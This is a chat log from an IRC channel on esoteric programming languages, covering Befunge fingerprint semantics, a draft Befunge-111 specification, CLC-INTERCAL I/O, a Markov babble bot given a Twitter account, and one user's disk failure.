1267637165 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, you should have made "under development" bold type < 1267637167 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :back < 1267637170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then maaaybe ;P < 1267637198 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe what? < 1267637212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, "allow changes" < 1267637231 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't understand. < 1267637233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1267637237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :never mind < 1267637250 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :we should have a fingerprint which is officially defined to be undefined, and whose semantics change every now and then < 1267637252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(possibly that was more in-joke than I thought) < 1267637259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, heh < 1267637337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, oh btw... MODU < 1267637342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, "R: C-language integer remainder " < 1267637345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is that C99? < 1267637358 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It predates C99 :-P < 1267637361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because C89 remainder is actually not well defined for negative values < 1267637369 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION remembers why he walked away from Befunge the first time
< 1267637373 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, befunge-98 does. But I don't know about that fingerprint < 1267637380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267637383 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Presumably it also does < 1267637387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well right < 1267637399 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, fun to revisit for a bit? :) < 1267637409 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: you've still managed to invent arguably the most useful of all the esolangs, though < 1267637422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267637435 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Useful measured how? < 1267637444 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267637449 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Most used of the non-tarpit ones, at least < 1267637468 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: useful in how quick it is to write a practical program with it < 1267637479 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Which one? < 1267637482 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what Deewiant said, and also "capable of interacting with other things with something more than just console io" < 1267637484 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :which one is the useful one < 1267637492 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Befunge. < 1267637493 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Probably befunge < 1267637495 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as in, if you really wanted to program something, and had only esolangs to do it with, you'd probably use befunge < 1267637536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I can't imagine fungot being possible to write in brainfuck or intercal. For a start it would have needed a proxy program to handle socket and file io multiplexing for it < 1267637537 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: love this song describes me...2 much. knob head. now, their all wanna be friends? < 1267637545 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Might PSOX help? *evilgrin* < 1267637553 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wrong there, CLC-INTERCAL can do both < 1267637553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps Sgeo_
< 1267637560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, wasn < 1267637571 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: cut-off line < 1267637583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1267637593 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, wasn't* that just to other clc-intercal < 1267637596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the socket IO) < 1267637604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :stealing variables or something? < 1267637610 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no, it has syscalls too < 1267637626 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :stealing variables is a favoured method of network communication, as it's higher-level < 1267637633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what? arbitrary syscalls? < 1267637637 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but you can do low-level socket work too if you like, to be compatible with other programs < 1267637642 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :not arbitrary syscalls, a subset < 1267637647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :phew < 1267637653 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, still that is unportable < 1267637659 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: they're relatively portable ones < 1267637664 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I mean, syscalls on freebsd are different than on linux < 1267637667 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think they can all be implemented in portable Perl < 1267637686 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :a syscall from INTERCAL's point of view is "open a socket", not "open a socket using this specific function" < 1267637687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, which ABI does it assume for the syscalls then? < 1267637695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, aha < 1267637698 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't, CLC-INTERCAL is interpreted < 1267637710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well, I thought perl could call native code < 1267637720 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like syscall() in libc or such < 1267637721 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it can, but it's not implemented like that < 1267637728 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as in, CLC-INTERCAL isn't < 1267637743 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although my attempts to port it to DOS failed because it assumed newline=10 < 1267637754 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Twitter uses Ruby [on Rails] apparently < 1267637769 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Rails and Ruby are really quite different < 1267637783 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you might as well try to compare Befunge to SCKE, or whatever < 1267637784 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: and from what I've heard it's given them quite a bit of pain < 1267637822 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well, the term "syscall" mislead me here < 1267637858 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Hm. Howso? < 1267637876 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: scaling < 1267637896 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Scaling up to however many millions of users they have. < 1267637932 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But, that's just a rumour. < 1267637954 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It may be anti-Rails agitprop, for all I know < 1267637983 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Anyway < 1267638017 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I don't know what SCKE is < 1267638042 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: a funge fingerprint, I just picked one off the top of my head < 1267638043 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think it's more productive, when faced with an ambiguously-defined fingerprint, to propose a new fingerprint with a different name (diff by one letter, say) which fixes the ambiguities. < 1267638057 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :like FING and FNGR? < 1267638069 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :FING and FNGR are two quite different approaches < 1267638073 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267638087 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Implementations which provide ambiguous fingerprints will do so ambiguously. Good implementations that provide ambiguous fingerprints will allow themselves to be configured to handle the common de facto interpretations of the fingerprint. < 1267638099 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's all. < 1267638133 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If only there were "common de facto interpretations" :-) < 1267638146 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should have said "most common". < 1267638154 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh, fungot now has a Twitter account. < 1267638155 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: are you sick son of a job drawing conclusions!!! i can't wait for the airshow and that just shows up when the pilot. < 1267638165 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: What made you think that was a good idea < 1267638170 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: does it spout nonsense whenever anyone mentions it? < 1267638187 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Sounds like a typical Twitter user to me, actually < 1267638205 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I haven't really rigged up the automation yet; that's one possibility. I was personally thinking more about a scheduled "thought for the day" sort of thing. < 1267638219 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fungot: and what is your thought for today? < 1267638220 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :scarf: i'll take my moron with on r,please. < 1267638228 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267638236 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's actually a pretty good thought < 1267638245 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what it means < 1267638253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^style < 1267638253 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* < 1267638259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267638265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, make a style twitter? < 1267638266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then < 1267638272 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :See http://twitter.com/fungot for the first tweet; that was just a half-manual (automatic babble-generation and automatic posting, but nothing scheduled, just a fire-once thing with a fixed model) run. < 1267638273 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: you must be stupid if there were 130 people on the news. if yall want to give 4000 to each chinese citizen to pay off it's debt's)its only gonna get worse and worse each week. < 1267638275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then use that to generate the new ones < 1267638275 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's invoking Muphry's, at least < 1267638283 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I have a twitter style, it's just not in the bot yet. < 1267638288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah < 1267638296 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't have very much data for it yet. < 1267638308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I see < 1267638342 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :sqlite> select count(*) from tweets; < 1267638342 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :11590 < 1267638349 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Does the "about nethack" show the style it came from or is that actually part of what it said < 1267638360 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It shows the style, in this case. < 1267638419 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267638432 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, why a sql db for it? < 1267638482 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Why not? Everything can interface with sqlite, and I may want to use some of the tweet-related metadata for selecting things at some point. Admittedly currently a flat file would've worked just as well. < 1267638543 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For the twitter style I've just told it to every 10 minutes go and fetch the top-10 "trending" topics from the Twitter API, select one randomly, and fetch 64 latest tweets about that topic. < 1267638546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, yeah, well that is what I thought: "it uses flat files" < 1267638559 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also now you forced me to actually define that fingerprint SQLITE < 1267638564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or SQL I guess) < 1267638583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(maybe, when I have time) < 1267638598 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :SQLT for SQLite I guess < 1267638610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why T? < 1267638615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't it be SQLL? < 1267638617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for Lite < 1267638621 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: SQLT reminded me of XSLT < 1267638630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1267638636 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, SQLite already has SQL in the name so I was thinking SQLiTe < 1267638653 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :SQLL would fit if it were SQL-Lite < 1267638662 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe SQL- ;-P < 1267638662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267638669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why not SQLITE? < 1267638686 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Depends on what it overlaps with < 1267638691 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In the 32-bit range < 1267638702 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ffs, 32-bit is a thing of the past ;P < 1267638711 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, it really isn't :-P < 1267638716 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :16-bit pretty much is < 1267638724 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But 32-bit is very much present < 1267638734 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, 16 bit is not < 1267638738 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The twitter style output generates pretty horribly moronic output, but, well, garbage in and so on. < 1267638742 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.com/Aj33WwJn < 1267638743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, look at lots of embedded microcontrollers < 1267638762 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Lots of embedded stuff is actually 32-bit as well < 1267638782 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: can you make it just pull from the twitter feeds of intelligent people? < 1267638786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, should filter urls from it I think < 1267638790 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And I have a feeling that things are generally going in that direction < 1267638793 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But maybe I'm wrong < 1267638794 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :^style youtube < 1267638794 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Selected style: youtube (Some YouTube comments) < 1267638807 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well sure < 1267638811 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :scarf: There are intelligent people there? But sure, theoretically. < 1267638814 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, but 12 bits or such is still common < 1267638825 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Is there a discussion here? < 1267638826 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: what about the ' tenor' roles... it could have been a while!! < 1267638827 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Mayhap < 1267638836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, iirc PIC12F had... hm I don't remember address and data bus sizes < 1267638845 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Lots of DSP stuff is (or at least has been) 24 bits; that's a nice intermediate size. < 1267638846 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :(the comments were sourced from the top 50 or so videos of 11th May, 2009) < 1267638853 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :(492kb of data) < 1267638859 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :(all processed to be content-only) < 1267638861 0 :asiekierka!unknown@unknown.invalid NICK :asie[afk] < 1267638939 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ugh, the top videos are bound to have stupid comments < 1267638945 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Using real twitter data has the "problem" that it will include lots of @names in it, and those mentioned people might get a bit confused. < 1267638962 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Since (as far as I know) they see it when people put their @name in there. < 1267638976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, filter @names and http:// then? < 1267638977 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Confusion is fun! < 1267638992 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I'm not yet sure if it's a problem. < 1267639017 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Twitter people might count the end product spam, anyway. < 1267639060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well, filtering it doesn't sound too bad < 1267639080 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :hi fizzie < 1267639092 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :i want to add new youtube comments to fungot < 1267639093 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :asie[afk]: nobody was in middle to the bloke the plane ( alpha-floor protection etc) and loads more cabin crew. < 1267639097 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :the goal is 5MB < 1267639159 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'd really suggest some HTML scraping as opposed to manual collecting, but whatever floats your e-boat, I guess. < 1267639198 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: But then it doesn't look authentic twittery if it's not full of tinyurl links and @pings and #tags. (Though I guess there's no need to filter #tags; that's just another way people might end up actually seeing those tweets and being confused by them.) < 1267639220 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth is going on < 1267639234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION prods disk, htop and sync
< 1267639254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :basically lots of disk io (seek noise), sync just hangs. Everything else is fine < 1267639263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :htop shows no candidate for this < 1267639269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm it stopped < 1267639285 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aaaie < 1267639291 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[887761.704069] INFO: task sync:24027 blocked for more than 120 seconds. < 1267639291 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[887761.704075] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. < 1267639294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and lots more < 1267639316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay going offline for emergency fsck from livecd now < 1267639443 0 :scarf!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267639493 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267639520 0 :AnMaster!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267639759 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://catseye.tc/lab/Befunge-111-Specification-DRAFT.txt < 1267639770 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's the first 1/3 or so of it, mostly definitions. < 1267639788 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Defining what it means for an IP to advance is going to be a pain. < 1267639971 0 :anmaster_l!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1267639983 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :okay it looks like one partition was damaged < 1267639986 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :/tmp < 1267639990 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :all others are fine < 1267640004 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I guess it is lucky considering... < 1267640012 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :where did scarf go? < 1267640014 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1267640028 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :* scarf has quit (Remote host closed the connection) -- your guess is as good as ours, I guess. < 1267640046 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267640052 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267640072 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :actually that is just the ext* file systems checked so far < 1267640126 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267640148 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh come on < 1267640162 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :"Every integer in the range of -2,147,483,648 to 2,147,483,647 inclusive must be precisely and reliably representable by a intval." < 1267640172 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :So it's OK for other integers to be represented imprecisely and unreliably? < 1267640185 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :lament, where is that from? < 1267640215 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Oh, right, you missed: < 1267640217 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : http://catseye.tc/lab/Befunge-111-Specification-DRAFT.txt < 1267640217 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : That's the first 1/3 or so of it, mostly definitions. < 1267640217 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : Defining what it means for an IP to advance is going to be a pain. < 1267640223 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267640247 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :will check that once desktop is back up < 1267640287 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: Yes. That's what people mean when they say "32-bit Befunge"... do you have a problem with that? < 1267640557 0 :benuphoenix!~matt@ool-182e6881.dyn.optonline.net JOIN :#esoteric < 1267640585 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Hi < 1267640590 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I'm about to leave now, so bye < 1267640615 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, are you saying OOM should result in exiting? < 1267640621 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :this breaks { behaviour < 1267640628 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :which is to reflect if allocation fails < 1267640630 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267640638 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :this doesn't matter for actual programs < 1267640662 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but it does cause some headache if you are to implement both 98 and 111 < 1267640667 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: In general, yes, but I haven't defined { yet. < 1267640669 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(as a command line flag or such) < 1267640670 0 :benuphoenix!unknown@unknown.invalid PART #esoteric :? < 1267640689 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, does it have to terminate nicely? < 1267640706 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, or is ending with a huge backtrace okay? < 1267640718 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: "Implementing both 98 and 111" is a not a design consideration < 1267640727 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: "nicely" is not defined < 1267640748 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, you know what I mean. Is it allowed to crap all over the place basically in case of OOM < 1267640767 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: It doesn't disallow it. < 1267640775 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm okay < 1267640798 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"You know what I mean" is what got us into this mess. If you want specific, I'm going to be specific. < 1267640820 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If you don't want specific, -98 is fine < 1267640859 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it would need to be specific in the spec yes < 1267640868 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but I don't think IRC is the spec < 1267640894 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, but questions about the spec can't be answered unless they're specific, even if those questions are asked on IRC < 1267640909 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I'm typing this on an uncomfortable keyboard < 1267640915 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :you have to allow for that < 1267640962 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, cells yeild 32 by default? < 1267640976 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, how does that interact with popping zero on empty stack? < 1267640986 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :or is cell just funge-space here? < 1267641005 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Stacks are not defined in terms of cells, they are defined in terms of intvals. < 1267641036 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so they can't contain opaque objects < 1267641037 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267641040 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, s/intvals/objects/. < 1267641042 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267641053 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And yes, cells are effectively only in the playfield < 1267641092 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fun, I hope no one gets confused reading cfunge source then! (typedef funge_cell is used stack too) < 1267641163 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, elements on the stack aren't mutable, so there doesn't seem to be any reason to define them the same as cells. < 1267641176 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what exactly is ASCII? < 1267641184 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't you refer to the relevant spec for it? ;P < 1267641203 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, how are they not? < 1267641210 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267641213 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, there is that FRTH fingerprint which does rot and such < 1267641227 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :rot can be defined in terms of pushes and pops < 1267641240 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(http://www.rcfunge98.com/rcsfingers.html#FRTH btw) < 1267641249 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about IIPC? < 1267641265 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm it isn't change in place either I guess < 1267641312 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267641454 0 :cpressey!unknown@unknown.invalid NICK :cpressey[lunch] < 1267641488 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267641681 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey[lunch], okay that doesn't work < 1267641687 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't allow opaque values on the stack < 1267641710 0 